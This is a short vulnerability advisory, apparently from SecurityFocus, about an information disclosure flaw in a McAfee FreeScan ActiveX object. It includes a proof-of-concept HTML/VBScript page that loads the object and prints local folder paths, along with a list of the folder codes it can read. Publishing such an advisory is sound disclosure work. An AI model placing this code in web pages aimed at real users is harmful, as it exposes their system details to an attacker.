source: http://www.securityfocus.com/bid/10077/info

Reportedly the Mcafee FreeScan 'McFreeScan.CoMcFreeScan.1' COM object is prone to a remote information disclosure vulnerability. This issue is due to a failure of the object to properly validate information access credentials.

Successful exploitation of this issue may provide an attacker with sensitive system information. The provided system information may be used to carry out further attacks against the affected system.

<OBJECT ID="MCFS" WIDTH=0 HEIGHT=0
CLASSID="CLSID:EF791A6B-FC12-4C68-99EF-FB9E207A39E6"></OBJECT>

<script language=vbscript>

sPath = MCFS.GetSpecialFolderLocation(&H0000)

'Gets the path for the desktop folder.

document.write(sPath)

'The Available parameters for the method and their return values:
'
'&H0000=desktop
'&H0002=%username%start menu/programs
'&H0005=%username%/my documents
'&H0006=%username%/favorites
'&H0007=%username%start menu/programs/startup
'&H0008=%username%/recent
'&H0009=%username%/sendto
'&H0010=%username%/desktop
'&H0013=%username%/nethood
'&H0014=%windir%/fonts
'&H0015=%username%/templates
'&H0016=all users/start menu
'&H0017=all users/start menu/programs
'&H0018=all users/start menu/programs/startup
'&H0019=all users/desktop
'&H0020=%username%/Local Settings/Temporary Internet Files
'&H0021=%username%/cookies
'&H0022=%username%/local settings/history
'&H0023=All Users/Application Data
'&H0024=%windir%
'&H0025=%windir%/system32
'&H0026=%programfiles%
'&H0027=%username%/My Documents/My Pictures
'&H0028=%username%
'&H0029=%windir%

</script>